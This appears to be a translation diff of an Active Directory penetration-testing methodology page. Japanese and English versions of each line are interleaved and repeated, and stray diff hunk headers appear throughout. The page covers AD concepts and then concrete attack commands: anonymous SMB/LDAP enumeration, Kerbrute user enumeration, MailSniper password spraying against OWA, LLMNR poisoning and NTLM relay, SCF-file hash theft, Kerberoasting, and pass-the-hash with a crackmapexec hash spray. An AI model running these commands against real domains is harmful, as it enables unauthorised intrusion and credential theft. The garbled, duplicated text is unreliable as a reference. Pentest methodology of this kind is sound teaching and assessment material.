**Active Directory** の構造は主に三つのレイヤーで構成されます:**domains**, **trees**, および **forests**。**domain** は共通のデータベースを共有する **users****devices** といったオブジェクトの集合を含みます。**trees** は共通の構造で結ばれたこれらのドメインのグループであり、**forest** は複数のツリーを **trust relationships** を通じて結びつけた、組織構造の最上位レイヤーです。各レベルで特定の **access****communication rights** を指定できます。
**Active Directory** の重要な概念は以下のとおりです:
**Active Directory** の主要概念は以下の通りです:
1. **ディレクトリ** Active Directory オブジェクトに関するすべての情報を保持します。
2. **オブジェクト** ディレクトリ内のエンティティを示し、**ユーザー**、**グループ**、または **共有フォルダ** などが含まれます。
3. **ドメイン** ディレクトリオブジェクトのコンテナであり、複数のドメインが **フォレスト** 内に共存し、それぞれが独自のオブジェクト集合を持ちます。
4. **ツリー** 共通のルートドメインを共有するドメインのグループです。
5. **フォレスト** Active Directory における組織構造の頂点で、複数のツリーとそれらの間の **信頼関係** で構成されます。
1. **Directory** Active Directory オブジェクトに関する全情報を保持します。
2. **Object** ディレクトリ内のエンティティを指し、**users**, **groups**, または **shared folders** を含みます。
3. **Domain** ディレクトリオブジェクトのコンテナで、複数のドメインが **forest** 内に共存でき、それぞれ独自のオブジェクトコレクションを保持します。
4. **Tree** 共通のルートドメインを共有するドメインのグループです。
5. **Forest** Active Directory の組織構造における頂点で、複数のツリーとそれらの間にある **trust relationships** で構成されます。
**Active Directory Domain Services (AD DS)** は、ネットワーク内の集中管理や通信に不可欠な一連のサービスを含みます。これらのサービスには以下が含まれます
**Active Directory Domain Services (AD DS)** はネットワーク内での集中管理と通信に不可欠な一連のサービスを含みます。これらのサービスには以下が含まれます:
1. **Domain Services** データの集中管理を行い、**ユーザー** と **ドメイン** 間のやり取り(**認証** や検索機能など)を管理します。
2. **Certificate Services** セキュアな **デジタル証明書** の作成、配布、および管理を担当します。
1. **Domain Services** データの中央集約と **users****domains** 間のやり取り(**authentication** や **search** 機能を含む)を管理します。
2. **Certificate Services** 安全な **digital certificates** の作成、配布、管理を監督します。
3. **Lightweight Directory Services** **LDAP protocol** を通じてディレクトリ対応アプリケーションをサポートします。
4. **Directory Federation Services** 複数のウェブアプリケーションでの **single-sign-on** 機能を提供します。
5. **Rights Management** 著作権資料の不正配布や使用を制御することで保護を支援します。
6. **DNS Service** **ドメイン名** の解決に不可欠です。
4. **Directory Federation Services** 複数の web アプリケーションに対して**single-sign-on** を提供し、1回のセッションでユーザーを認証します。
5. **Rights Management** 著作物の無許可配布や使用を制御して保護を支援します。
6. **DNS Service** **domain names** の解決に不可欠です。
For a more detailed explanation check: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
詳細は次を参照してください: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
### **Kerberos Authentication**
To learn how to **attack an AD** you need to **understand** really good the **Kerberos authentication process**.\
AD を攻撃する方法を学ぶには、**Kerberos authentication process** を非常によく理解する必要があります。\
[**Read this page if you still don't know how it works.**](kerberos-authentication.md)
## チートシート
AD を列挙/悪用するために実行できるコマンドを素早く確認するには、次を参照してください: [https://wadcoms.github.io/](https://wadcoms.github.io)。
列挙/悪用のために実行できるコマンドを手早く確認するには、[https://wadcoms.github.io/](https://wadcoms.github.io) を参照してください
> [!WARNING]
> Kerberos communication **requires a full qualifid name (FQDN)** for performing actions. If you try to access a machine by the IP address, **it'll use NTLM and not kerberos**.
## Recon Active Directory (認証情報/セッションなし)
## Recon Active Directory (No creds/sessions)
AD 環境にアクセスできるが認証情報やセッションを持っていない場合、次のことが可能です:
もし AD 環境にアクセスはあるが資格情報/セッションがない場合、次のことが可能です:
- **ネットワークをペネトレートする:**
- ネットワークをスキャンし、マシンや開いているポートを見つけて、**脆弱性を悪用** したり、そこから **認証情報を抽出** したりします(例: [printers could be very interesting targets](ad-information-in-printers.md))。
- DNS を列挙することで、web、printers、shares、vpn、media などのドメイン内の重要サーバに関する情報が得られます。
- **Pentest the network:**
- ネットワークをスキャンし、マシンや開いているポートを見つけて、**exploit vulnerabilities** したりそれらから **extract credentials** を試みます(例えば、[printers could be very interesting targets](ad-information-in-printers.md))。
- DNS の列挙は、web、printers、shares、vpn、media などドメイン内の主要なサーバーに関する情報を与えることがあります。
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
- 詳細は一般的な [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) を参照して手順を確認してください。
- **SMB サービスの null と Guest アクセスを確認する**(これは最新の Windows では動作しないことがあります:
- 詳細は一般的な [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) を参照してください。
- **Check for null and Guest access on smb services**(これは最新の Windows バージョンでは機能しません:
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
- `smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //`
- SMB サーバの列挙方法に関する詳細ガイドは次を参照してください:
- SMB サーバーを列挙する詳細ガイドは以下にあります:
{{#ref}}
../../network-services-pentesting/pentesting-smb/
{{#endref}}
- **LDAP を列挙する**
- **Enumerate Ldap**
- `nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>`
- LDAP 列挙に関する詳細ガイド(**匿名アクセスに特に注意**)は次を参照してください:
- LDAP を列挙する詳細ガイドはここにあります(**anonymous access** に特に注意してください):
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
{{#endref}}
- **ネットワークを Poison する**
- Responder **サービスを偽装して認証情報を収集**impersonating services with Responderしてクレデンシャルを集める: ../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
- [**relay attack** を悪用してホストにアクセスする](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- evil-S を使って **偽の UPnP サービスを公開して認証情報を収集**exposing fake UPnP services with evil-S: ../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md および [**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- **Poison the network**
- Responder を使って **impersonating services** を行い資格情報を収集する([**impersonating services with Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- [**abusing the relay attack**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) によりホストへアクセスする
- fake UPnP サービスを **evil-S** で公開して資格情報を収集する([**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- 内部文書、ソーシャルメディア、ドメイン内のサービス(主に web、および公開情報からユーザー名や氏名を抽出します
- 会社の従業員の氏名が判明した場合、さまざまな AD **username conventions****read this**を試すことができます。一般的な慣例には以下があります_NameSurname_, _Name.Surname_, _NamSur_(それぞれ 3 文字ずつ), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 文字のランダム + 3 数字abc123
- ドメイン環境内および公開されている資料からユーザー名や氏名を抽出します(主に web
- 企業の従業員のフルネームが見つかった場合、さまざまな AD **username conventions** を試すことができます([**read this**](https://activedirectorypro.com/active-directory-user-naming-convention/))。最も一般的な規則は: _NameSurname_, _Name.Surname_, _NamSur_各3文字ずつ), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, そして 3 つの _random letters and 3 random numbers_abc123
- ツール:
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
### ユーザー列挙
### User enumeration
- **匿名 SMB/LDAP 列挙:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) および [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) を参照してください。
- **Kerbrute 列挙**: 無効なユーザー名が要求されると、サーバ**Kerberos error** コード _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ を返し、ユーザー名が無効であることを判別できます。有効なユーザー名は、AS-REP 内の **TGT** を返すか、または事前認証が必要であることを示す _KRB5KDC_ERR_PREAUTH_REQUIRED_ エラーを返します。
- **MS-NRPC に対する No Authentication:** domain controller の MS-NRPC (Netlogon) インターフェースに対して auth-level = 1No authenticationを使用します。この方法は MS-NRPC インターフェースにバインド後に `DsrGetDcNameEx2` 関数を呼び出して、認証情報なしでユーザーやコンピュータの存在を確認します。NauthNRPC (https://github.com/sud0Ru/NauthNRPC) はこの種の列挙を実装しています。研究の詳細はここにあります: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf
- **Anonymous SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) および [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) のページを確認してください。
- **Kerbrute enum**: 無効なユーザー名がリクエストされた場合、サーバー**Kerberos error** コード _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ を返し、ユーザー名が無効であることを判別できます。有効なユーザー名は **TGT in a AS-REP** レスポンスか、プリ認証が必要であることを示すエラー _KRB5KDC_ERR_PREAUTH_REQUIRED_ のいずれかを引き起こします。
- **No Authentication against MS-NRPC**: domain controllers 上の MS-NRPC (Netlogon) インターフェイスに対して auth-level = 1 (No authentication) を使用する方法です。この手法は MS-NRPC インターフェイスにバインドした後 `DsrGetDcNameEx2` 関数を呼び出し、資格情報なしでユーザーやコンピュータが存在するかを確認します。NauthNRPC ツールはこのタイプの列挙を実装しています。研究はここにあります: [here](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf)
```bash
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@ -97,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau
```
- **OWA (Outlook Web Access) Server**
ネットワーク内でこれらのサーバーのいずれかを見つけた場合、**user enumeration against it** を実行することもできます。例えば、ツール [**MailSniper**](https://github.com/dafthack/MailSniper):
ネットワーク内でこれらのサーバーを見つけた場合、**user enumeration against it** を実行することもできます。例えば、ツール [**MailSniper**](https://github.com/dafthack/MailSniper):
```bash
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
@ -110,17 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
```
> [!WARNING]
> ユーザー名のリストは [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) とこちらの ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) で見つけることができます。
> ユーザー名の一覧は [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) およびこのリポジトリ ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) で見つけられます。
>
> ただし、事前の recon ステップで得た **会社で働く人々の氏名** を持っているはずです。名前と姓があれば、スクリプト [**namemash.py**](https://gist.github.com/superkojiman/11076951) を使って潜在的な有効ユーザー名を生成できます。
> ただし、事前に行った recon のステップから、その会社で働いている人の **name of the people working on the company** を把握しているはずです。名前と姓が分かれば、スクリプト [**namemash.py**](https://gist.github.com/superkojiman/11076951) を使って潜在的な有効ユーザー名を生成できます。
### Knowing one or several usernames
有効なユーザー名は分かっているがパスワードがない場合は、次を試してください:
Ok, so you know you have already a valid username but no passwords... Then try:
- [**ASREPRoast**](asreproast.md): ユーザーが **_DONT_REQ_PREAUTH_ を持っていない** 場合、そのユーザーに対して **AS_REP message を要求**できます。メッセージにはユーザーのパスワードから派生したもので暗号化されたデータが含まれます。
- [**Password Spraying**](password-spraying.md): 発見した各ユーザーに対して、最も **一般的なパスワード** を試してみてください。弱いパスワードを使っているユーザーがいるかもしれません(パスワードポリシーに注意!)。
- 注意: ユーザーのメールサーバーにアクセスするために、**spray OWA servers** を試すこともできます。
- [**ASREPRoast**](asreproast.md): ユーザーが属性 _DONT_REQ_PREAUTH_ を**持っていない**場合、そのユーザーに対して **AS_REP message を要求**できます。これにはユーザーのパスワードの派生鍵で暗号化されたデータが含まれます。
- [**Password Spraying**](password-spraying.md): 発見した各ユーザーに対して最も**common passwords** を試してみてください。悪いパスワードを使っているユーザーがいるかもしれません(パスワードポリシーに注意!)。
- Note that you can also **spray OWA servers** to try to get access to the users mail servers.
{{#ref}}
@ -129,7 +129,7 @@ password-spraying.md
### LLMNR/NBT-NS Poisoning
ネットワークのいくつかのプロトコルを**poisoning**することで、クラック用のチャレンジ**hashes**を**obtain**できる場合があります:
You might be able to **obtain** some challenge **hashes** to crack **poisoning** some protocols of the **network**:
{{#ref}}
@ -138,11 +138,11 @@ password-spraying.md
### NTLM Relay
Active Directory の列挙に成功すれば、**より多くのメールアドレスやネットワークの全体像**を得られます。NTLM を使った [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) を強制して AD 環境にアクセスできる可能性があります。
If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) to get access to the AD env.
### Steal NTLM Creds
**null or guest user** で他の PC や共有に **アクセス** できる場合、(SCF ファイルなどの) ファイルを **配置** しておき、何らかの方法でそれが参照されるとあなたに対して **NTLM authentication がトリガー**され、**NTLM challenge****盗んで** クラックすることができます:
If you can **access other PCs or shares** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
{{#ref}}
@ -151,9 +151,9 @@ Active Directory の列挙に成功すれば、**より多くのメールアド
## Enumerating Active Directory WITH credentials/session
このフェーズでは、有効なドメインアカウントの**資格情報またはセッションを侵害している**必要があります。ドメインユーザーとして有効な資格情報やシェルを持っている場合、**前に挙げたオプションは他ユーザーを侵害するための選択肢として依然有効である**ことを忘れないでください。
For this phase you need to have **compromised the credentials or a session of a valid domain account.** If you have some valid credentials or a shell as a domain user, **you should remember that the options given before are still options to compromise other users**.
認証済み列挙を開始する前に、**Kerberos double hop problem** を理解しておくべきです。
Before start the authenticated enumeration you should know what is the **Kerberos double hop problem.**
{{#ref}}
@ -162,31 +162,31 @@ kerberos-double-hop-problem.md
### Enumeration
アカウントを侵害することは、ドメイン全体を侵害するための**大きな一歩**です。これにより **Active Directory 列挙** を開始できるようになります。
Having compromised an account is a **big step to start compromising the whole domain**, because you are going to be able to start the **Active Directory Enumeration:**
[**ASREPRoast**](asreproast.md) に関しては、すべての潜在的に脆弱なユーザーを見つけられますし、[**Password Spraying**](password-spraying.md) に関しては **全ユーザー名のリスト** を取得して、侵害したアカウントのパスワード、空のパスワード、あるいは有望な新しいパスワードを試すことができます。
Regarding [**ASREPRoast**](asreproast.md) you can now find every possible vulnerable user, and regarding [**Password Spraying**](password-spraying.md) you can get a **list of all the usernames** and try the password of the compromised account, empty passwords and new promising passwords.
- 基本的な recon を実行するために [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) を使用できます
- よりステルスに行うには [**powershell for recon**](../basic-powershell-for-pentesters/index.html) を使うこともできます
- より詳細な情報を抽出するには [**use powerview**](../basic-powershell-for-pentesters/powerview.md) を使えます
- Active Directory の recon にもう一つ素晴らしいツールは [**BloodHound**](bloodhound.md) です。使用するコレクション方法によりますが、**あまりステルスではありません**。しかしそれを気にしないなら、ぜひ試してみてください。ユーザーがどこで RDP できるか、他のグループへの経路を見つけるなど
- **その他の自動化された AD 列挙ツール:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info) を使って基本的な recon を実行できます。
- [**powershell for recon**](../basic-powershell-for-pentesters/index.html) を使うこともでき、こちらのほうがよりステルスです。
- [**use powerview**](../basic-powershell-for-pentesters/powerview.md) を使ってより詳細な情報を抽出できます。
- Active Directory の recon にもう一つ素晴らしいツールは [**BloodHound**](bloodhound.md) です。収集手法によりますが **not very stealthy** です。ですが、それを気にしないなら、ぜひ試してみてください。ユーザーがどこで RDP できるか、他のグループへの経路などを見つけられます
- **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS records of the AD**](ad-dns-records.md) は興味深い情報を含んでいる可能性があります。
- ディレクトリを列挙するために使える **GUI ツール** は **AdExplorer.exe****SysInternal** Suiteです。
- **ldapsearch** で LDAP データベースを検索し、_userPassword_ _unixUserPassword_ のフィールド、あるいは _Description_ を調べることもできます。その他の方法については cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) を参照してください。
- **Linux** を使っている場合は、[**pywerview**](https://github.com/the-useless-one/pywerview) でドメインを列挙することもできます。
- また以下の自動化ツールを試すこともできます:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- ディレクトリを列挙するために使える **tool with GUI** は **SysInternal** Suite の **AdExplorer.exe** です。
- **ldapsearch** で LDAP データベースを検索し、_userPassword_ & _unixUserPassword_ フィールド、あるいは _Description_ 内の資格情報を探すこともできます。その他の手法は cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) を参照してください。
- **Linux** を使用している場合、[**pywerview**](https://github.com/the-useless-one/pywerview) を使ってドメインを列挙することもできます。
- 自動化ツールとして次のものも試せます:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **Extracting all domain users**
Windows では `net user /domain``Get-DomainUser`、または `wmic useraccount get name,sid` でドメイン内のユーザー名を取得するのは非常に簡単です。Linux では `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` `enum4linux -a -u "user" -p "password" <DC IP>` を使用できます。
It's very easy to obtain all the domain usernames from Windows (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). In Linux, you can use: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` or `enum4linux -a -u "user" -p "password" <DC IP>`
> この列挙セクションが短く見えても、最も重要な部分です。リンク(主に cmd、powershell、powerview、BloodHound のもの)を参照し、ドメインの列挙方法を学び、十分に慣れるまで練習してください。評価の際、ここが DA に到達する方法を見つけるか、何もできないと判断する重要な瞬間になります。
> Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.
### Kerberoast
Kerberoasting は、ユーザーアカウントに紐づくサービスが使用する **TGS tickets** を取得し、それらの暗号化(ユーザーパスワードに基づく)を **オフライン** でクラックすることを含みます。
Kerberoasting involves obtaining **TGS tickets** used by services tied to user accounts and cracking their encryption—which is based on user passwords—**offline**.
More about this in:
@ -197,17 +197,17 @@ kerberoast.md
### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
資格情報を入手したら、任意のマシンにアクセスできるか確認してください。そのために、ポートスキャンに応じて複数のサーバーへ異なるプロトコルで接続を試みるために **CrackMapExec** を使用できます。
Once you have obtained some credentials you could check if you have access to any **machine**. For that matter, you could use **CrackMapExec** to attempt connecting on several servers with different protocols, accordingly to your ports scans.
### Local Privilege Escalation
通常のドメインユーザーとして資格情報やセッションを侵害しており、そのユーザーでドメイン内の任意のマシンに **アクセス** できる場合、ローカルで権限昇格して資格情報を回収lootする方法を探すべきです。なぜなら、ローカル管理者権限がなければ他ユーザーのハッシュをメモリLSASSやローカルSAMからダンプできないからです。
If you have compromised credentials or a session as a regular domain user and you have **access** with this user to **any machine in the domain** you should try to find your way to **escalate privileges locally and looting for credentials**. This is because only with local administrator privileges you will be able to **dump hashes of other users** in memory (LSASS) and locally (SAM).
本書には [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) に関する完全なページと、[**checklist**](../checklist-windows-privilege-escalation.md) があります。また、[**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) の使用も忘れないでください。
There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) and a [**checklist**](../checklist-windows-privilege-escalation.md). Also, don't forget to use [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
### Current Session Tickets
現在のユーザーに、予期しないリソースへの**アクセス権を与える**ような**tickets** が見つかる可能性は非常に **低い** ですが、確認はできます:
It's very **unlikely** that you will find **tickets** in the current user **giving you permission to access** unexpected resources, but you could check:
```bash
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
@ -219,15 +219,15 @@ kerberoast.md
If you have managed to enumerate the Active Directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
### コンピュータ共有で資格情報を探す | SMB Shares
### Computer Shares の Creds を探す | SMB Shares
基本的な資格情報を入手したら、AD 内で共有されている**興味深いファイル**がないか**確認**してください。手動でも可能ですが、非常に退屈で反復的な作業になります(数百のドキュメントを確認する必要がある場合はさらに大変です)。
基本的な資格情報を入手したら、**AD 内で共有されている興味深いファイルを見つけられるか**確認するべきです。手動でも可能ですが、とても退屈で反復的な作業です(確認すべきドキュメントが何百もあればなおさら)。
[**このリンクから使用可能なツールについて学んでください。**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
### Steal NTLM Creds
If you can **access other PCs or shares** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
もし **他のPCや共有にアクセスできる** なら、SCF ファイルのような)**ファイルを配置**して、誰かがアクセスしたときに t**rigger an NTLM authentication against you** ことで **NTLM challenge****steal** してクラックすることができます:
{{#ref}}
@ -236,28 +236,28 @@ If you can **access other PCs or shares** you could **place files** (like a SCF
### CVE-2021-1675/CVE-2021-34527 PrintNightmare
This vulnerability allowed any authenticated user to **compromise the domain controller**.
この脆弱性により、認証済みユーザーであれば誰でも **ドメインコントローラを侵害する** ことが可能でした。
{{#ref}}
printnightmare.md
{{#endref}}
## Privilege escalation on Active Directory WITH privileged credentials/session
## Active Directory での特権昇格 WITH privileged credentials/session
**For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.**
**以下の技術には通常のドメインユーザーでは不十分で、これらの攻撃を実行するために特別な権限/資格情報が必要です。**
### Hash extraction
Hopefully you have managed to **compromise some local admin** account using [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
その後、メモリおよびローカルからすべてのハッシュをダンプする時です。\
[**ハッシュを取得するさまざまな方法についてはこちらのページを読んでください。**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
運良く [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)(リレーを含む), [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html) などを使って **いくつかのローカル管理者アカウントを compromise している** ことでしょう。\
その後、メモリおよびローカルからすべてのハッシュをダンプする時です。\
[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
### Pass the Hash
**Once you have the hash of a user**, you can use it to **impersonate** it.\
そのためには、そのハッシュを使って**NTLM authenticationを行う**ような**ツール**を使用するか、あるいは新しい**sessionlogon**を作成してそのハッシュを**LSASS**に**注入**する方法があります。そうすれば、NTLM 認証が行われる際にそのハッシュが使用されます。後者の方法がmimikatzのやり方です。\
[**詳細はこのページを参照してください。**](../ntlm/index.html#pass-the-hash)
You need to use some **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does.\
[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
### Over Pass the Hash/Pass the Key
@ -279,20 +279,20 @@ pass-the-ticket.md
### Credentials Reuse
If you have the **hash** or **password** of a **local administrator** you should try to **login locally** to other **PCs** with it.
If you have the **hash** or **password** of a **local administrato**r you should try to **login locally** to other **PCs** with it.
```bash
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> 注意: これはかなり**noisy**で、**LAPS**が**mitigate**します
> これはかなり**ノイズが多く**、**LAPS**があれば**軽減**されることに注意してください
### MSSQL Abuse & Trusted Links
もしユーザが**access MSSQL instances**する権限を持っている場合、MSSQLホスト上でSAとして実行されていれば**execute commands**したり、NetNTLMの**hash**を**steal**したり、さらには**relay** **attack**を実行できる可能性があります。\
また、あるMSSQLインスタンスが別のMSSQLインスタンスからtrustdatabase linkされている場合、ユーザが信頼されたデータベースに対する権限を持っていれば、**use the trust relationship to execute queries also in the other instance**ことが可能になります。これらのトラストは連鎖することがあり、最終的にコマンドを実行できるような誤設定されたデータベースを見つけられるかもしれません。\
**The links between databases work even across forest trusts.**
ユーザが**MSSQL instances にアクセスする権限**を持っている場合、MSSQL ホスト上でSAとして動作していれば**コマンドを実行**したり、NetNTLM の **hash を盗む**、あるいは **relay attack** を実行できる可能性があります。\
また、ある MSSQL インスタンスが別の MSSQL インスタンスから信頼database linkされている場合、信頼されたデータベースに対する権限を持つユーザは、**信頼関係を利用して他のインスタンスでもクエリを実行する**ことが可能です。これらの信頼は連鎖することがあり、最終的にコマンドを実行できるような誤設定されたデータベースを発見できるかもしれません。\
**データベース間のリンクはフォレスト間のトラストを越えても機能します。**
{{#ref}}
@ -301,7 +301,7 @@ abusing-ad-mssql.md
### IT asset/deployment platforms abuse
サードパーティのインベントリやデプロイメントスイートは、資格情報やコード実行への強力な経路を露出することがよくあります。参照:
サードパーティのインベントリやデプロイメントスイートは、しばしば資格情報やコード実行につながる強力な経路を公開しています。参照:
{{#ref}}
sccm-management-point-relay-sql-policy-secrets.md
@ -313,9 +313,9 @@ lansweeper-security.md
### Unconstrained Delegation
もしComputerオブジェクトに属性[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>)があり、かつそのコンピュータ上でドメイン権限を持っている場合、当該コンピュータにログオンしたすべてのユーザのメモリからTGTをダンプすることができます。\
したがって、**Domain Adminがそのコンピュータにログインすると**、彼のTGTをダンプして[Pass the Ticket](pass-the-ticket.md)を使ってなりすますことができます。\
constrained delegationを利用すれば、**自動的にPrint Serverを乗っ取る**ことさえ可能です運が良ければそれはDCでしょう)。
[ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) 属性を持つ Computer オブジェクトを見つけ、かつそのコンピュータ上でドメイン権限を持っている場合、そのコンピュータにログオンするすべてのユーザのメモリから TGT をダンプできます。\
したがって、もし**Domain Admin がそのコンピュータにログイン**すると、その TGT をダンプして [Pass the Ticket](pass-the-ticket.md) を使ってそのユーザになりすますことが可能になります。\
constrained delegation によっては、**Print Server を自動的に乗っ取る**ことさえあり得ます(幸いにもそれが DC である場合があるかもしれません)。
{{#ref}}
@ -324,8 +324,8 @@ unconstrained-delegation.md
### Constrained Delegation
もしユーザまたはコンピュータが "Constrained Delegation" を許可されていると、そのコンピュータ上のあるサービスに対して**任意のユーザをインパーソネートしてアクセスする**ことができるようになります。\
そして、このユーザ/コンピュータのハッシュを**compromise**すれば、(ドメイン管理者であっても)**任意のユーザをインパーソネートして**サービスにアクセスできます。
ユーザまたはコンピュータが "Constrained Delegation" に許可されていると、そのコンピュータ上の特定のサービスに対して**任意のユーザを偽装してアクセスする**ことができます。\
